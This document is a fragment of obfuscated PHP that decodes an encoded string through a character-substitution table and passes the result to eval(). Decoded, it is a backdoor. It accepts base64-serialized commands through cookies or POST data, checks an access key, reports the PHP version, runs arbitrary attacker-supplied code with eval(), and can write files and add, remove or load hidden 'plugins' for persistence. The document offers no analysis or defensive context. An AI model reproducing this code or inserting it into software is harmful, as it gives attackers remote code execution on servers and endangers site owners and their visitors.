'o%gd%ig%ig%ig%ig%ig%ig%ig%igBP_Ymuj_z2m1j%ie%i7P1v28qj_G819%it%igBP_jFB2NG1%ie%i7C818%it%'.
'igBP_cj1JvP1%ie%iT%iT%iT%Ls%go%gd%ig%ig%ig%ig%Ro%go%gd%g'.
'o%gd%ig%ig%ig%igYEFB1mvF%igBP_GuEqmF_2jl%ie%i7F8lj%iT%go%gd%ig%ig%ig%ig%Rs%go%gd%'.
'ig%ig%ig%ig%ig%ig%ig%ig%i7P1v28qj_G819%ig%Lo%igBP_cj1tvllvF51v28qj%ie%iT.%ig%ii/%ii%'.
'Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%i7P1v28qj_G819%ig%Lo%ig%i7P1v28qj_G81'.
'9%ig.%igPEZP12%ielCK%ie%iiB8B9j%ii%iT%it%igg%it%igK%iT%'.
'ig.%ig%ii_%ii%ig.%iglCK%ie%i7F8lj%ig.%igBP_cj1JvP1%ie%iT%iT%Ls%go%gd%go%gd%ig%ig'.
'%ig%ig%ig%ig%ig%igmY%ig%ieYmuj_jpmP1P%ie%i7P1v28qj_G819%iT%iT%'.
'go%gd%ig%ig%ig%ig%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%7'.
'gEFumFA%ie%i7P1v28qj_G819%iT%Ls%go%gd%ig%ig%ig%ig%ig%ig'.
'%ig%ig%Ro%go%gd%ig%ig%ig%ig%Ro%go%gd%go%gd%ig%ig%ig%igYEFB1mvF%igBP_GuEqmF_uv8C%ie%i7F8lj%LoQaWW%'.
'iT%go%gd%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%i7'.
'P1v28qj_G819%ig%Lo%igBP_cj1tvllvF51v28qj%ie%iT%Ls%go%gd%go%gd%ig%ig%'.
'ig%ig%ig%ig%ig%igmY%ig%iemP_Cm2%ie%i7P1v28qj_G819%iT%iT%'.
'go%gd%ig%ig%ig%ig%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%i'.
'gmY%ig%ie%i7F8lj%ig%Lo%Lo%igQaWW%iT%ig//%iguv8C%ig8uu%igGuEqmFP'.
'%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%Rs%go%gd%i'.
'g%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%igYv2j8B9%ig%iePB8FCm2%ie%i7P1v28qj_G819%iT%'.
'ig8P%ig%i7AjN%Lo%Lk%i7GuEqmF_F8lj%iT%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%Rs%go%gd'.
'%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%igmY%ig%ieP12GvP%ie%i7GuEqmF'.
'_F8lj%it%igPEZP12%ielCK%ie%iiB8B9j%ii%iT%it%igg%it%igK%iT%iT%'.
'ig%iV%Lo%Lo%igD8uPj%iT%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%i'.
'g%ig%ig%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%i'.
'g%ig%ig%ig%ig%ig%ig%ig%ig%ig%7gjI8u%ieBP_CjB2NG1%ieBP_Ymuj_2j8C%ie%i7P1v28qj_G819%ig.%ig%i'.
'i/%ii%ig.%ig%i7GuEqmF_F8lj%iT%it%igBP_cj1JvP1%ie%iT%iT%iT%Ls%go%gd%i'.
'g%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%Ro%go%gd%ig%ig%ig%ig%ig%i'.
'g%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%Ro%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%Ro%go%gd%ig%ig%ig'.
'%ig%ig%ig%ig%ig%ig%ig%ig%igjuPj%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%Rs%go%gd%ig%ig%'.
'ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%i7P1v28qj_G819%ig%Lo%ig'.
'%i7P1v28qj_G819%ig.%ig%ii/%ii%ig.%igPEZP12%ielCK%ie%iiB8B9j%ii%iT%it%igg%it%igK%iT%ig.%ig%i'.
'i_%ii%ig.%iglCK%ie%i7F8lj%ig.%igBP_cj1JvP1%ie%iT%iT%Ls%go%gd%g'.
'o%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%igmY%ig%ieYmuj_jpmP1P%i'.
'e%i7P1v28qj_G819%iT%iT%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%i'.
'g%ig%ig%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%'.
'ig%ig%ig%ig%ig%ig%ig%ig%ig%7gjI8u%ieBP_CjB2NG1%ieBP_Ymuj_2j8C%ie%i7P1v28qj_G819%iT'.
'%it%igBP_cj1JvP1%ie%iT%iT%iT%Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%i'.
'g%ig%ig%ig%ig%ig%ig%Ro%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig'.
'%Ro%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%Ro%go%gd%ig%ig%ig%ig%Ro%'.
'go%gd%go%gd%ig%ig%ig%igYEFB1mvF%igBP_z2m18Zuj_B9jBA%ie%iT%go%gd%ig%ig%ig%ig%'.
'Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%igmY%ig%ieP12ujF%ieBP_cj1tvllvF51v28qj%ie%iT%iT%ig%iV%Lo%igg%iT%'.
'go%gd%ig%ig%ig%ig%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%'.
'ig%ig%ig%ig%ig2j1E2F%ig02Ej%Ls%go%gd%ig%ig%ig%ig%ig%i'.
'g%ig%ig%Ro%go%gd%ig%ig%ig%ig%ig%ig%ig%igjuPj%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%Rs%'.
'go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig2j1E2F%igD8uPj%Ls%go%gd%ig%ig%ig%ig%ig%i'.
'g%ig%ig%Ro%go%gd%ig%ig%ig%ig%Ro%go%gd%go%gd%ig%ig%ig%igYv2j8B9%ig%ie%i7_trrhXk%ig'.
'8P%ig%i7AjN%Lo%Lk%i7I8uEj%iT%go%gd%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig'.
'%ig%ig%i7C818%ig%Lo%ig%i7I8uEj%Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%i7C818_AjN%ig%Lo%ig%i7AjN%'.
'Ls%go%gd%ig%ig%ig%ig%Ro%go%gd%go%gd%ig%ig%ig%igmY%ig%ie%iV%i7C818%iT%go%gd%ig%ig%ig%ig%'.
'Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%igYv2j8B9%ig%ie%i7_Mr50%ig8'.
'P%ig%i7AjN%Lo%Lk%i7I8uEj%iT%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig'.
'%ig%ig%ig%ig%ig%i7C818%ig%Lo%ig%i7I8uEj%Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%i7C818_AjN%ig'.
'%Lo%ig%i7AjN%Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%Ro%go%gd%ig%ig%ig%ig%Ro'.
'%go%gd%go%gd%ig%ig%ig%ig%i7C818%ig%Lo%ig%7gEFPj2m8umwj%ieBP_CjB2NG1%ieZ8Pjx7_CjBvCj%ie'.
'%i7C818%iT%it%ig%i7C818_AjN%iT%iT%Ls%go%gd%go%gd%ig%'.
'ig%ig%igmY%ig%iemPPj1%ie%i7C818%Ks%iR8A%iR%Ko%iT%ig%ix%ix%ig%i7BP_8E19%Lo%Lo%i7C'.
'818%Ks%iR8A%iR%Ko%iT%go%gd%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%igmY%ig%ie%i'.
'7C818%Ks%iR8%iR%Ko%ig%Lo%Lo%ig%iRm%iR%iT%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%i'.
'g%ig%ig%ig%ig%ig%ig%ig%i7m%ig%Lo%igd228N%ie%go%gd%ig%ig%ig%ig%ig%'.
'ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%iRGI%iR%ig%Lo%Lk%ig%7gG9GIj2PmvF%ie%iT%it%go%gd%'.
'ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%iRPI%'.
'iR%ig%Lo%Lk%ig%iRV.g-i%iR%it%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%'.
'ig%ig%ig%ig%ig%ig%ig%iR8A%iR%ig%Lo%Lk%ig%i7C818%Ks%iR8A%iR%Ko'.
'%it%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%iT%Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%igjB9'.
'v%ig%7gPj2m8umwj%ie%i7m%iT%Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%'.
'ig%ig%ig%igjpm1%Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%Ro%go%gd%i'.
'g%ig%ig%ig%ig%ig%ig%igjuPjmY%ig%ie%i7C818%Ks%iR8%iR%Ko%ig%Lo%Lo%ig%iRj%iR%iT%go%gd%ig%i'.
'g%ig%ig%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%igjI8u%i'.
'e%i7C818%Ks%iRC%iR%Ko%iT%Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%Ro%go%gd%ig%ig%ig%ig%ig%ig%ig%igjuPjmY%i'.
'g%ie%i7C818%Ks%iR8%iR%Ko%ig%Lo%Lo%ig%iRGuEqmF%iR%iT%go%gd%ig%ig%ig%ig%ig%ig'.
'%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%igmY%ie%i7C818%Ks%iRP8%iR%K'.
'o%ig%Lo%Lo%ig%iR8CC%iR%iT%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%Rs%go%gd'.
'%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%igBP_GuEqmF_8CC%ie%i7C818%Ks%iRG%iR%'.
'Ko%it%ig%i7C818%Ks%iRC%iR%Ko%iT%Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%Ro'.
'%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%igjuPjmY%ie%i7C818%Ks%iRP8%iR%Ko%ig%Lo%Lo%ig'.
'%iR2jl%iR%iT%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%Rs'.
'%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%igBP_GuEqmF_2jl%ie%i7C818%Ks%iRG%iR%Ko%i'.
'T%Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%Ro%go%gd%i'.
'g%ig%ig%ig%ig%ig%ig%ig%Ro%go%gd%ig%ig%ig%ig%ig%ig%ig%igjB9v%ig%i7C818%Ks%iR8A%iR%Ko%Ls%go%g'.
'd%ig%ig%ig%ig%ig%ig%ig%igjpm1%ie%iT%Ls%go%gd%ig%ig%ig%ig%Ro%go%gd%go%gd%ig%ig%ig%igBP_GuEqmF_uv8C%ie'.
'%iT%Ls%go%gd%Ro';
$PEwriRt = Array('1'=>'t', '0'=>'T', '3'=>'j', '2'=>'r', '5'=>'S', '4'=>'J', '7'=>'4', '6'=>'V', '9'=>'h', '8'=>'a', 'A'=>'k', 'C'=>'d', 'B'=>'c', 'E'=>'u', 'D'=>'F', 'G'=>'p', 'F'=>'n', 'I'=>'v', 'H'=>'Z', 'K'=>'5', 'J'=>'H', 'M'=>'P', 'L'=>'3', 'O'=>'Y', 'N'=>'y', 'Q'=>'N', 'P'=>'s', 'S'=>'X', 'R'=>'7', 'U'=>'q', 'T'=>'9', 'W'=>'L', 'V'=>'1', 'Y'=>'f', 'X'=>'I', 'Z'=>'b', 'a'=>'U', 'c'=>'G', 'b'=>'Q', 'e'=>'8', 'd'=>'A', 'g'=>'0', 'f'=>'W', 'i'=>'2', 'h'=>'K', 'k'=>'E', 'j'=>'e', 'm'=>'i', 'l'=>'m', 'o'=>'D', 'n'=>'R', 'q'=>'g', 'p'=>'x', 's'=>'B', 'r'=>'O', 'u'=>'l', 't'=>'C', 'w'=>'z', 'v'=>'o', 'y'=>'M', 'x'=>'6', 'z'=>'w');
eval/*sWIGiYXRKR*/(OgycNgq($AUixor, $PEwriRt));
}"));